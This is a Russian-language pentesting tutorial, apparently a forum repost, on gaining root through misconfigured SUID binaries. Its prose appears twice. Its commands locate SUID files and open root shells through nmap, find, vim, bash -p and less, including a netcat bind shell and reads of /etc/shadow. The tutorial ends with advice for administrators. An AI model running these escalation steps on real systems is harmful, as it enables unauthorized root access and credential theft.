SUID (Установка идентификатора пользователя) - это тип разрешения, которое предоставляется файлу и позволяет пользователям выполнять файл с разрешениями его владельца. Существует множество причин, по которым бинарный файл Linux может иметь такой тип разрешений. Например, утилите ping требуются привилегии root для открытия сетевого сокета, но она должна выполняться обычными пользователями, а также проверять связь с другими хостами.
Однако некоторые из существующих двоичных файлов и утилит можно использовать для повышения привилегий до root, если у них есть разрешение SUID. Известные исполняемые файлы Linux, которые могут разрешать повышение привилегий:
Обнаружение исполняемых файлов SUID
Все приведенные выше двоичные файлы будут выполняться с правами суперпользователя, поскольку они содержат « s » в своих разрешениях и принадлежат пользователю root.
Исполняемый файл SUID - Nmap
Nmap
В старых версиях Nmap (от 2.02 до 5.21) использовался интерактивный режим, позволяющий пользователям выполнять команды оболочки. Поскольку Nmap находится в списке двоичных файлов, которые выполняются с привилегиями root, можно использовать интерактивную консоль для запуска оболочки с такими же привилегиями.
Идентификация версии Nmap
Интерактивный режим можно запустить, выполнив Nmap с параметром « интерактивный »
Nmap - Интерактивный режим
Следующая команда даст повышенную оболочку.
Root Shell через Suid Nmap Binary
В качестве альтернативы есть модуль Metasploit, который выполняет повышение привилегий через двоичные файлы SUID Nmap.
Find
Утилита find может быть использована для обнаружения хранящихся в системе. Однако это способность выполнять команды. Поэтому, если он настроен на запуск с разрешением SUID, все команды, которые будут выполнены с помощью команды find, будут выполняться от имени пользователя root.
Find выполнение команды
Поскольку в большинстве операционных систем Linux установлен netcat, можно повысить выполнение команд с повышенными правами до корневой оболочки.
Запустите Netcat через Find
Подключение к открытому порту даст корневую оболочку.
Root Shell через Find
Vim
Основное использование Vim - это текстовый редактор. Однако, если он работает как SUID, он унаследует разрешение пользователя root и, следовательно, сможет читать все файлы в системе.
Vim - чтение корневых файлов
Дальнейшие действия root можно выполнить, запустив оболочку через Vim.
Vim - Root Shell
BASH
Следующая команда откроет оболочку bash от имени пользователя root.
Bash - Root Shell
Less
Утилита Less также может выполнять повышенные оболочки. Тот же принцип применяется и для команды More .
Less - Root Shell
Вывод
Выполнение повышения привилегий неправильно настроенными исполняемыми файлами SUID тривиально. Поэтому администраторы должны оценить все двоичные файлы SUID и определить, нужно ли им работать с разрешениями повышенного уровня пользователя. Особое внимание следует уделять приложениям, способным выполнять код или записывать произвольные данные в систему.
Старые сообщения
Перевод:
Однако некоторые из существующих двоичных файлов и утилит можно использовать для повышения привилегий до root, если у них есть разрешение SUID. Известные исполняемые файлы Linux, которые могут разрешать повышение привилегий:
- Nmap
- Vim
- find
- Bash
- More
- Less
- Nano
- cp
Код:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
Обнаружение исполняемых файлов SUID
Все приведенные выше двоичные файлы будут выполняться с правами суперпользователя, поскольку они содержат « s » в своих разрешениях и принадлежат пользователю root.
Код:
ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap
Исполняемый файл SUID - Nmap
Nmap
В старых версиях Nmap (от 2.02 до 5.21) использовался интерактивный режим, позволяющий пользователям выполнять команды оболочки. Поскольку Nmap находится в списке двоичных файлов, которые выполняются с привилегиями root, можно использовать интерактивную консоль для запуска оболочки с такими же привилегиями.
Код:
nmap -V
Идентификация версии Nmap
Интерактивный режим можно запустить, выполнив Nmap с параметром « интерактивный »
Код:
nmap --interactive
Nmap - Интерактивный режим
Следующая команда даст повышенную оболочку.
Код:
nmap> !sh
sh-3.2# whoami
root
Root Shell через Suid Nmap Binary
В качестве альтернативы есть модуль Metasploit, который выполняет повышение привилегий через двоичные файлы SUID Nmap.
Код:
exploit/unix/local/setuid_nmap
Find
Утилита find может быть использована для обнаружения хранящихся в системе. Однако это способность выполнять команды. Поэтому, если он настроен на запуск с разрешением SUID, все команды, которые будут выполнены с помощью команды find, будут выполняться от имени пользователя root.
Код:
touch pentestlab
find pentestlab -exec whoami \;
Find выполнение команды
Поскольку в большинстве операционных систем Linux установлен netcat, можно повысить выполнение команд с повышенными правами до корневой оболочки.
Код:
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
Запустите Netcat через Find
Подключение к открытому порту даст корневую оболочку.
Код:
netcat 192.168.1.189 5555
id
cat /etc/shadow
Root Shell через Find
Vim
Основное использование Vim - это текстовый редактор. Однако, если он работает как SUID, он унаследует разрешение пользователя root и, следовательно, сможет читать все файлы в системе.
Код:
vim.tiny /etc/shadow
Vim - чтение корневых файлов
Дальнейшие действия root можно выполнить, запустив оболочку через Vim.
Код:
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
Vim - Root Shell
BASH
Следующая команда откроет оболочку bash от имени пользователя root.
Код:
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
Bash - Root Shell
Less
Утилита Less также может выполнять повышенные оболочки. Тот же принцип применяется и для команды More .
Код:
less /etc/passwd
!/bin/sh
Less - Root Shell
Вывод
Выполнение повышения привилегий неправильно настроенными исполняемыми файлами SUID тривиально. Поэтому администраторы должны оценить все двоичные файлы SUID и определить, нужно ли им работать с разрешениями повышенного уровня пользователя. Особое внимание следует уделять приложениям, способным выполнять код или записывать произвольные данные в систему.
Старые сообщения
Перевод:
Ссылка скрыта от гостей